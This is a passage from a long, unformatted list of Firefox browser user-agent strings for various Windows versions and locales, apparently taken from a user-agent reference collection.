Firefox/3.0.13 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2008121605 Firefox/3.0.6pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6pre) Gecko/2009011606 Firefox/3.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.11 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 AskTbPLTV5/3.8.0.12304 Firefox/3.5.16 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.16) Gecko/20120427 Firefox/15.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB6 (.NET CLR 3.5.30729) FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.5 (build 02842) Firefox/3.5.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 MRA 5.5 (build 02842) Firefox/3.5.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090213 Firefox/3.0.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090401 Firefox/3.5b4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b4pre) Gecko/20090409 Firefox/3.5b4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b5pre) Gecko/20090517 Firefox/3.5b4pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.20) Gecko/20110803 AskTbFWV5/3.13.0.17701 Firefox/3.6.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.0.16 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20051220 Firefox/1.6a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060121 Firefox/1.6a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060323 Firefox/1.6a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b1) Gecko/2007110703 Firefox/3.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b4pre) Gecko/2008020708 Firefox/3.0b4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b5pre) Gecko/2008030706 Firefox/3.0b5pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:2.0.1) Gecko/20110606 Firefox/4.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8) Gecko/20060321 Firefox/2.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fa; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-be; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7) Gecko/20040707 Firefox/0.9.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 (.NET CLR 3.0.04506.30) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.3C Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.9a1) Gecko/20100202 Firefox/3.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.28) Gecko/20120306 AskTbSTC-SRS/3.13.1.18132 Firefox/3.6.28 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 GTB7.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB7.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2.25) Gecko/20111212 Firefox/3.6.25 (.NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.1) Gecko/20061204 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060918 Firefox/2.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 GTB6 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ro-RO; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.12) Gecko/20100824 MRA 5.7 (build 03755) Firefox/3.5.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:15.0) Gecko/20121011 Firefox/15.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040911 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox/0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100503 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.7.5) Gecko/20041119 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB6 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 Mozilla/5.0 (Windows; U; Windows NT 5.2; da; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1b3pre) Gecko/20090105 Firefox/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.0.04506.648) Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 Mozilla/5.0(Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 5.2; sk; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 Mozilla/5.0 (Windows; U; Windows NT 5.2 x64; en-US; rv:1.9a1) Gecko/20060214 Firefox/1.6a1 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.1.5) Gecko/Firefox/3.5.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-TW; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; bg; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.5) Gecko/20070713 